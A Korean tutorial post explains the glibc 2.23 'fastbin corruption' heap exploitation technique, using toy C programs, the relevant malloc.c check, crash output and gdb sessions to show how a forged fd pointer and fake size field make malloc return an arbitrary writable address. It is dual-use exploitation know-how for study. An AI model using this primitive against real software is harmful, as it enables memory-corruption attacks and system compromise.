본문으로 바로가기

* 이 글은 glibc 2.23 기준으로 작성되었습니다.

* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.

* 이 글은 shellphish 팀의 how2heap repository를 참고했습니다.

* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb

 

 

Last update: 6/26/2020

 

Analysis

bin 분석글에 fastbin의 구조와 동작을 설명해 두었다.

 

fastbin corruption은, fastbin의 fd 값을 조작해 원하는 위치에 fast chunk를 할당받는 기법이다.

how2heap에서는 fastbin dup into stack 으로 설명하는데, stack 뿐 아니라 write가 가능한 모든 영역에 chunk를 할당받을 수 있다.

 

주로 UAF나 fastbin dup을 통해 구현할 수 있다.

 

아래 코드는 free된 chunk의 fd에 buf의 주소를 쓰고, malloc을 두 번 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <malloc.h>
#include <stdint.h>

uint8_t buf[0x100];

int main() {
    void *s = malloc(0x10);
    free(s);
    ((uint64_t *)s)[0] = buf;
    s = malloc(0x10);
    s = malloc(0x10);

    return 0;
}

 

컴파일하고 그대로 실행하면 malloc(): memory corruption (fast) 에러가 발생한다.

 

syine@minetalinux:~/Desktop/test$ ./test
*** Error in `./test': malloc(): memory corruption (fast): 0x0000000000601070 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f2f813047e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f2f8130f651]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f2f81311184]
./test[0x4005ac]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2f812ad830]
./test[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:02 925486                             /home/syine/Desktop/test/test
00600000-00601000 r--p 00000000 08:02 925486                             /home/syine/Desktop/test/test
00601000-00602000 rw-p 00001000 08:02 925486                             /home/syine/Desktop/test/test
01239000-0125a000 rw-p 00000000 00:00 0                                  [heap]
7f2f7c000000-7f2f7c021000 rw-p 00000000 00:00 0 
7f2f7c021000-7f2f80000000 ---p 00000000 00:00 0 
7f2f81077000-7f2f8108d000 r-xp 00000000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8108d000-7f2f8128c000 ---p 00016000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8128c000-7f2f8128d000 rw-p 00015000 08:02 1050426                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f2f8128d000-7f2f8144d000 r-xp 00000000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f8144d000-7f2f8164d000 ---p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f8164d000-7f2f81651000 r--p 001c0000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f81651000-7f2f81653000 rw-p 001c4000 08:02 1050388                    /lib/x86_64-linux-gnu/libc-2.23.so
7f2f81653000-7f2f81657000 rw-p 00000000 00:00 0 
7f2f81657000-7f2f8167d000 r-xp 00000000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f81860000-7f2f81863000 rw-p 00000000 00:00 0 
7f2f8187b000-7f2f8187c000 rw-p 00000000 00:00 0 
7f2f8187c000-7f2f8187d000 r--p 00025000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f8187d000-7f2f8187e000 rw-p 00026000 08:02 1050360                    /lib/x86_64-linux-gnu/ld-2.23.so
7f2f8187e000-7f2f8187f000 rw-p 00000000 00:00 0 
7ffcd2691000-7ffcd26b2000 rw-p 00000000 00:00 0                          [stack]
7ffcd2774000-7ffcd2777000 r--p 00000000 00:00 0                          [vvar]
7ffcd2777000-7ffcd2779000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

 

이 에러를 띄우는 곳은 _int_malloc의 fastbin allocation 부분이다. (3368번째 줄)

 

3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
  /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */


  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (avidx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fbvictim->fdvictim))
             != victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_actionerrstrchunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (avvictimnb);
          void *p = chunk2mem (victim);
          alloc_perturb (pbytes);
          return p;
        }
    }
/malloc/malloc.c

 

할당을 요청한 크기에 해당하는 fastbin에서 chunk를 찾는다. (victim) 이 때 victim의 size로 계산한 fastbin index가 실제 fastbin index와 다르면 에러를 낸다.

즉, 할당받고자 하는 위치의 chunk가 올바른 size 필드 값을 갖고 있어야 한다.

 

Example

다시 예시 코드로 돌아와서, free 후 2번째 malloc을 하기 직전 breakpoint를 설정해 fastbin 상태를 살펴본다.

 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x601060 (size error (0x0)) --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602020 (size : 0x20fe0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$ p &buf
$1 = (uint8_t (*)[256]) 0x601060 <buf>

 

fastbin에 buf의 주소 0x601060이 들어가 있는데, chunk의 size 필드의 값이 0이고, 이는 fastbin index로 -2 이다. 실제 index인 0과 다르기 때문에 malloc이 되지 않는 것이다.

 

buf+0x8 에 값 0x21을 쓰고, fastbin의 fd에 buf+0x10 을 쓰도록 코드를 수정하고 컴파일해서 실행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <malloc.h>
#include <stdint.h>

uint8_t buf[0x100];

int main() {
    void *s = malloc(0x10);
    free(s);
    *(uint64_t *)s = buf;
    *((uint64_t *)buf + 1) = 0x21uLL;
    s = malloc(0x10);
    s = malloc(0x10);

    return 0;
}

 

free 이후 malloc에 breakpoint를 설정해 chunk를 할당받기 직전 fastbin을 살펴본다.

 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x602000 --> 0x601060 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602020 (size : 0x20fe0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

 

아무 문제 없이 buf의 주소 0x601060이 잘 들어가 있다. malloc 2번 실행 후 s에 buf+0x10 위치를 할당받은 것을 확인할 수 있다.

 

gdb-peda$ p s
$1 = (void *) 0x601070 <buf+16>